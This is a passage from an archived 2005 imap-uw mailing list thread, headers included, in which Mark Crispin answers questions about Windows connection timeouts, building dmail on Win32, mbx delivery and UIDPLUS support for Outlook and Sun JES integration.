verify=OK) for ; Thu, 15 Sep 2005 08:28:47 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout4.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j8FFSkmW022763 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Thu, 15 Sep 2005 08:28:46 -0700 X-Auth-Received: from pangtzu.panda.com (pangtzu.panda.com [206.124.149.117]) (authenticated authid=mrc) by smtp.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j8FFSi2b015684 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Thu, 15 Sep 2005 08:28:45 -0700 Date: Thu, 15 Sep 2005 08:28:44 -0700 (PDT) From: Mark Crispin To: Eric Schreuder Subject: Re: [Imap-uw] timeouts for client operations? In-Reply-To: <001501c5b9cf$5cd307f0$5f01a8c0@IMNLA354> Message-ID: References: <4328B68F.9000801@cisco.com><4328E0A3.2010806@cisco.com> <001501c5b9cf$5cd307f0$5f01a8c0@IMNLA354> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Thu, 15 Sep 2005, Eric Schreuder wrote: > Other features exist in Windows since winsock2, that make it possible to > implement open timeouts. I have sent you a patch two years ago, implementing > open timeouts on Windows. I think it was rejected at the time because > c-client was based on winsock. We have used the patch ever since, so it has > been tested quite well. Maybe a feature to (re)consider for imap-2006? Yes, I would. Could you re-send me that patch? The Windows version of c-client is now based on winsock2, although currently the only aspect of winsock2 that is used is IPv6 support and that's only in w2k builds (not nt or ntk builds). Have you tested your patch on Win95/98/Me/NT4 systems? Believe it or not, we still hear from people who use such systems (especially Win98). -- Mark -- http://panda.com/mrc Democracy is two wolves and a sheep deciding what to eat for lunch. Liberty is a well-armed sheep contesting the vote. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Tue Sep 20 10:49:35 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 20 Sep 2005 10:49:35 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j8KHnZ3a019539 for ; Tue, 20 Sep 2005 10:49:35 -0700 Received: from mxout7.cac.washington.edu (mxout7.cac.washington.edu [140.142.32.178]) by mx2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j8KHnYdu027934 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Tue, 20 Sep 2005 10:49:35 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout7.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j8KHnPNY007018 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 20 Sep 2005 10:49:26 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j8KHnPeK010938; Tue, 20 Sep 2005 10:49:25 -0700 Received: from mxe5.u.washington.edu (mxe5.u.washington.edu [140.142.32.168]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j8KHnP5W010930 for ; Tue, 20 Sep 2005 10:49:25 -0700 Received: from jambajuice.apexvoice.com (adsl-068-213-192-114.sip.bct.bellsouth.net [68.213.192.114]) by mxe5.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j8KHnLk9028527 for ; Tue, 20 Sep 2005 10:49:22 -0700 Received: from localhost (mike@localhost) by jambajuice.apexvoice.com (8.9.3/8.9.3) with ESMTP id KAA17487 for ; Tue, 20 Sep 2005 10:55:59 -0400 X-Authentication-Warning: jambajuice.apexvoice.com: mike owned process doing -bs Date: Tue, 20 Sep 2005 10:55:58 -0400 (EDT) From: Michael Trank X-Sender: mike@jambajuice.apexvoice.com To: imap-uw@u.washington.edu Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __LINES_OF_YELLING 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Subject: [Imap-uw] dmail.exe on Win32 X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Hi Mark and others: I have successfully built imapd.exe on Windows 2K. But I am unable to build "dmail.exe", I think because it can't find the "lstat()" function. Is dmail for Win32 only available under Cygwin? thanks. cl -I..\c-client /MT /W3 /DWIN32 -nologo -DALERTFILE=\"\" -DNNTPFILE=\" \" -DUSERALERTFILE=\"\" -DANOFILE=\"\" -DSHUTDOWNFILE=\"\" /c dmail.c dmail.c ..\c-client\mail.h(472) : warning C4005: 'ERROR' : macro redefinition D:\Program Files\Microsoft Platform SDK\Include\wingdi.h(98) : see previ ous definition of 'ERROR' ..\c-client\misc.h(34) : error C2011: 'hash_entry' : 'struct' type redefinition ..\c-client\misc.h(43) : error C2011: 'hash_table' : 'struct' type redefinition dmail.c(145) : error C2065: 'EX_USAGE' : undeclared identifier dmail.c(152) : error C2065: 'EX_TEMPFAIL' : undeclared identifier dmail.c(216) : error C2065: 'EX_CANTCREAT' : undeclared identifier dmail.c(246) : warning C4013: 'lstat' undefined; assuming extern returning int dmail.c(280) : error C2065: 'EX_UNAVAILABLE' : undeclared identifier dmail.c(287) : warning C4013: 'path_create' undefined; assuming extern returning int dmail.c(399) : error C2065: 'S_ISUID' : undeclared identifier dmail.c(399) : error C2065: 'S_ISGID' : undeclared identifier dmail.c(408) : error C2065: 'S_IFBLK' : undeclared identifier dmail.c(408) : error C2051: case expression not constant dmail.c(409) : error C2065: 'S_IFLNK' : undeclared identifier dmail.c(408) : error C2065: 'S_IFBLK' : undeclared identifier dmail.c(408) : error C2051: case expression not constant dmail.c(409) : error C2065: 'S_IFLNK' : undeclared identifier dmail.c(409) : error C2051: case expression not constant dmail.c(410) : error C2065: 'S_IFSOCK' : undeclared identifier dmail.c(410) : error C2051: case expression not constant dmail.c(428) : error C2051: case expression not constant dmail.c(429) : error C2065: 'EX_OSERR' : undeclared identifier dmail.c(429) : error C2051: case expression not constant dmail.c(430) : error C2065: 'EX_SOFTWARE' : undeclared identifier dmail.c(430) : error C2051: case expression not constant dmail.c(431) : error C2065: 'EX_NOUSER' : undeclared identifier dmail.c(431) : error C2051: case expression not constant dmail.c(432) : error C2051: case expression not constant NMAKE : fatal error U1077: 'cl' : return code '0x2' Stop. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Tue Sep 20 10:54:05 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 20 Sep 2005 10:54:05 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j8KHs4xN019728 for ; Tue, 20 Sep 2005 10:54:04 -0700 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mx1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j8KHs3qx027148 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Tue, 20 Sep 2005 10:54:04 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j8KHrrTV030761 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 20 Sep 2005 10:53:53 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j8KHrrWY011636; Tue, 20 Sep 2005 10:53:53 -0700 Received: from mxi3.u.washington.edu (mxi3.u.washington.edu [140.142.32.176]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j8KHrpDp011628 for ; Tue, 20 Sep 2005 10:53:51 -0700 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.134]) by mxi3.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j8KHrp8l031808 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Tue, 20 Sep 2005 10:53:51 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j8KHro62025897 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Tue, 20 Sep 2005 10:53:50 -0700 X-Auth-Received: from Shimo-Tomobiki.panda.com (c66-235-28-63.sea2.cablespeed.com [66.235.28.63]) (authenticated authid=mrc) by smtp.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j8KHrklY021480 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Tue, 20 Sep 2005 10:53:49 -0700 Date: Tue, 20 Sep 2005 10:53:41 -0700 From: Mark Crispin To: Michael Trank Subject: Re: [Imap-uw] dmail.exe on Win32 In-Reply-To: Message-ID: References: Organization: Networks & Distributed Computing MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Tue, 20 Sep 2005, Michael Trank wrote: > I have successfully built imapd.exe on Windows 2K. But I am unable to > build "dmail.exe", I think because it can't find the "lstat()" function. > Is dmail for Win32 only available under Cygwin? There is no such thing as dmail for Win32; it is a UNIX-only application. dmail may be made to work under Cygwin, but this is completely unsupported. The existance of a Cygwin build in the UW IMAP makefiles should not be construed to indicate any support or promise that it will actually work. There are known issues in running under Cygwin. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Tue Sep 20 11:16:00 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 20 Sep 2005 11:16:00 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j8KIG0nG020910 for ; Tue, 20 Sep 2005 11:16:00 -0700 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mx1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j8KIFx9g028408 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Tue, 20 Sep 2005 11:15:59 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout4.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j8KIFrv8025552 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 20 Sep 2005 11:15:53 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j8KIFrSs016278; Tue, 20 Sep 2005 11:15:53 -0700 Received: from mxe1.u.washington.edu (mxe1.u.washington.edu [140.142.32.136]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j8KIFpaC016270 for ; Tue, 20 Sep 2005 11:15:51 -0700 Received: from jambajuice.apexvoice.com (adsl-068-213-192-114.sip.bct.bellsouth.net [68.213.192.114]) by mxe1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j8KIFmlL003900 for ; Tue, 20 Sep 2005 11:15:49 -0700 Received: from localhost (mike@localhost) by jambajuice.apexvoice.com (8.9.3/8.9.3) with ESMTP id LAA19106; Tue, 20 Sep 2005 11:22:21 -0400 X-Authentication-Warning: jambajuice.apexvoice.com: mike owned process doing -bs Date: Tue, 20 Sep 2005 11:22:21 -0400 (EDT) From: Michael Trank X-Sender: mike@jambajuice.apexvoice.com To: Mark Crispin Subject: Re: [Imap-uw] dmail.exe on Win32 In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: "imap-uw@u.washington.edu" X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Thanks for the quick answer... Is there any way, then, to deliver to an "mbx" type mailbox on Windows? I have an application where there are several concurrent imapd processes opening the same mailbox, and it is giving me problems... every time a new connection is opened and the INBOX selected, the already opened connections get that "kiss of death interrupt" thing. On Tue, 20 Sep 2005, Mark Crispin wrote: > On Tue, 20 Sep 2005, Michael Trank wrote: > > I have successfully built imapd.exe on Windows 2K. But I am unable to > > build "dmail.exe", I think because it can't find the "lstat()" function. > > Is dmail for Win32 only available under Cygwin? > > There is no such thing as dmail for Win32; it is a UNIX-only application. > > dmail may be made to work under Cygwin, but this is completely > unsupported. The existance of a Cygwin build in the UW IMAP makefiles > should not be construed to indicate any support or promise that it will > actually work. There are known issues in running under Cygwin. > > -- Mark -- > > http://staff.washington.edu/mrc > Science does not emerge from voting, party politics, or public debate. > Si vis pacem, para bellum. > _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Tue Sep 20 11:20:30 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 20 Sep 2005 11:20:30 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j8KIKUVd021159 for ; Tue, 20 Sep 2005 11:20:30 -0700 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mx2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j8KIKTPR029752 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Tue, 20 Sep 2005 11:20:30 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout4.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j8KIKP0B026633 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 20 Sep 2005 11:20:25 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j8KIKOAP017062; Tue, 20 Sep 2005 11:20:24 -0700 Received: from mxi2.u.washington.edu (mxi2.u.washington.edu [140.142.33.12]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j8KIKOLC017052 for ; Tue, 20 Sep 2005 11:20:24 -0700 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.134]) by mxi2.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j8KIKNZg024572 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Tue, 20 Sep 2005 11:20:23 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j8KIKMOf032477 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Tue, 20 Sep 2005 11:20:22 -0700 X-Auth-Received: from Tomobiki-Cho.CAC.Washington.EDU (tomobiki-cho.cac.washington.edu [128.95.135.58]) (authenticated authid=mrc) by smtp.washington.edu (8.13.4+UW05.04/8.13.4+UW05.07) with ESMTP id j8KIKMZd010533 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Tue, 20 Sep 2005 11:20:22 -0700 Date: Tue, 20 Sep 2005 11:22:10 -0700 (Pacific Daylight Time) From: Mark Crispin To: Michael Trank Subject: Re: [Imap-uw] dmail.exe on Win32 In-Reply-To: Message-ID: References: Organization: Networks & Distributed Computing MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: "imap-uw@u.washington.edu" X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Tue, 20 Sep 2005, Michael Trank wrote: > Thanks for the quick answer... Is there any way, then, to deliver to an > "mbx" type mailbox on Windows? Not a supported one, no. If you were going to undertake that, I would recommend looking into writing a module for your existing mail delivery agent to use c-client to append to an mbx file. You may be able to hack dmail or tmail for this purpose, but these programs are designed to be called by UNIX MTAs and are probably not suitable in a Windows world. -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Wed Sep 21 19:47:02 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 21 Sep 2005 19:47:02 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j8M2l2Q1001717 for ; Wed, 21 Sep 2005 19:47:02 -0700 Received: from mxout2.cac.washington.edu (mxout2.cac.washington.edu [140.142.33.4]) by mx2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j8M2l1wk006930 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 21 Sep 2005 19:47:01 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j8M2ktG8023314 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 21 Sep 2005 19:46:55 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j8M2kt4X020087; Wed, 21 Sep 2005 19:46:55 -0700 Received: from mxe1.u.washington.edu (mxe1.u.washington.edu [140.142.32.136]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j8M2ksbf020079 for ; Wed, 21 Sep 2005 19:46:54 -0700 Received: from staff.cs.usyd.edu.au (staff.cs.usyd.edu.au [129.78.8.1]) by mxe1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with SMTP id j8M2koSB017853 for ; Wed, 21 Sep 2005 19:46:51 -0700 Received: from blade1.cs.usyd.edu.au. [129.78.11.79] by staff.cs.usyd.edu.au.; Thu, 22 Sep 2005 12:46:43 +1000 Date: Thu, 22 Sep 2005 12:46:34 +1000 From: Roy Giles To: imap-uw@u.washington.edu Message-Id: <1127357202.86.1050594161@it.usyd.edu.au> X-Image-Url: http://www.it.usyd.edu.au/faces/au/edu/usyd/it/roy/face.jpg Organization: Sydney University Computer Science MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Subject: [Imap-uw] Co-existing with Outlook ... X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu Hello, Our mail server is a Sparc server running Solaris 2.6 where we have had UW imap for some years (currently IMAP4rev1 2004.357) I am trying to get a calendaring solution to all users, especially those with PCs running Outlook; I have been working with Sun's JES 2005Q1 with the promise of an Outlook Connector providing the necessary service between the PCs and the Sun JES installation (running on a Linux box) The sticking point for me now is that the JES is based around a mail server albeit one conforming to "standards" such as they are; this led me to believe I could point the Outlook Connector at our UW imap server and the mail service would continue as before but I have since discovered that it requires the UIDPLUS capability which the Sun Messaging Server has but I believe is not implemented in UW imap :- telnet staff 143 Trying 129.78.8.1... Connected to staff. Escape character is '^]'. * OK [CAPABILITY IMAP4REV1 LITERAL+ SASL-IR LOGIN-REFERRALS STARTTLS AUTH=LOGIN] staff.cs.usyd.edu.au IMAP4rev1 2004.357 at Wed, 21 Sep 2005 12:51:39 +1000 (EST) This is then causing profile creation to fail at the Outlook end. Does anyone have any ideas on how I could get around this, perhaps by faking UIDPLUS capability or ..... As I say, I am only interested in the Calendar part of the JES with mail remaining with the Sparc/UW imap combination. Thanks, Roy _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Wed Sep 21 21:21:20 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 21 Sep 2005 21:21:20 -0700 (PDT) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j8M4LKbj005407 for ; Wed, 21 Sep 2005 21:21:20 -0700 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.166]) by mx1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j8M4LJoP016048 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 21 Sep 2005 21:21:19 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout3.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j8M4LFuW008119 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 21 Sep 2005 21:21:15 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j8M4LFLN025051; Wed, 21 Sep 2005 21:21:15 -0700 Received: from mxi1.u.washington.edu (mxi1.u.washington.edu [140.142.32.143]) by mailman1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j8M4LD0W025043 for ; Wed, 21 Sep 2005 21:21:13 -0700 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.166]) by mxi1.u.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j8M4LDIv007926 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK) for ; Wed, 21 Sep 2005 21:21:13 -0700 Received: from smtp.washington.edu (smtp.washington.edu [140.142.33.9]) by mxout3.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j8M4LCEK008112 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 21 Sep 2005 21:21:12 -0700 X-Auth-Received: from [206.124.149.117] (pangtzu.panda.com [206.124.149.117]) (authenticated authid=mrc) by smtp.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j8M4KuA0025423 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NOT); Wed, 21 Sep 2005 21:21:12 -0700 Date: Wed, 21 Sep 2005 21:20:55 -0700 (PDT) From: Mark Crispin To: Roy Giles Subject: Re: [Imap-uw] Co-existing with Outlook ... In-Reply-To: <1127357202.86.1050594161@it.usyd.edu.au> Message-ID: References: <1127357202.86.1050594161@it.usyd.edu.au> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_TEXT_ONLY 0, __MIME_VERSION 0, __SANE_MSGID 0, __STOCK_CRUFT 0' Cc: imap-uw@u.washington.edu X-BeenThere: imap-uw@u.washington.edu X-Mailman-Version: 2.1.5 Precedence: list List-Id: imap-uw.u.washington.edu List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , Sender: imap-uw-bounces@mailman1.u.washington.edu Errors-To: imap-uw-bounces@mailman1.u.washington.edu On Thu, 22 Sep 2005, Roy Giles wrote: > The sticking point for me now is that the JES is based around a mail > server albeit one conforming to "standards" such as they are; this led me > to believe I could point the Outlook Connector at our UW imap server and > the mail service would continue as before but I have since discovered > that it requires the UIDPLUS capability which the Sun Messaging Server > has but I believe is not implemented in UW imap :- If JES requires UIDPLUS, then it is is broken and NON-COMPLIANT with the specification. The specification for UIDPLUS explicitly states that it is an option in an IMAP server, and furthermore states the mandatory procedures that clients must undertake if the server does not have UIDPLUS. With that said, UW IMAP Toolkit version 2005 will have UIDPLUS support in imapd. I am still doing regression testing on this version, and additional performance work still needs to be done before any formal release. However, I expect to start making development snapshots available after the Pine 4.64 release (which will use the version 2004g maintenence release of the IMAP toolkit). -- Mark -- http://panda.com/mrc Democracy is two wolves and a sheep deciding what to eat for lunch. Liberty is a well-armed sheep contesting the vote. _______________________________________________ Imap-uw mailing list Imap-uw@u.washington.edu https://mailman1.u.washington.edu/mailman/listinfo/imap-uw From pinedev@shivax2.cac.washington.edu Wed Sep 21 21:41:33 2005 -0700 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Wed, 21 Sep 2005 21:41:33 -0700 (PDT) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j8M4fXox006299 for ; Wed, 21 Sep 2005 21:41:33 -0700 Received: from mxout1.cac.washington.edu (mxout1.cac.washington.edu [140.142.32.134]) by mx2.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j8M4fWuD012109 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 21 Sep 2005 21:41:32 -0700 Received: from mailman1.u.washington.edu (mailman1.u.washington.edu [140.142.12.154]) by mxout1.cac.washington.edu (8.13.4+UW05.04/8.13.4+UW05.09) with ESMTP id j8M4fSvl029708 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Wed, 21 Sep 2005 21:41:28 -0700 Received: from mailman1.u.washington.edu (localhost [127.0.0.1]) by 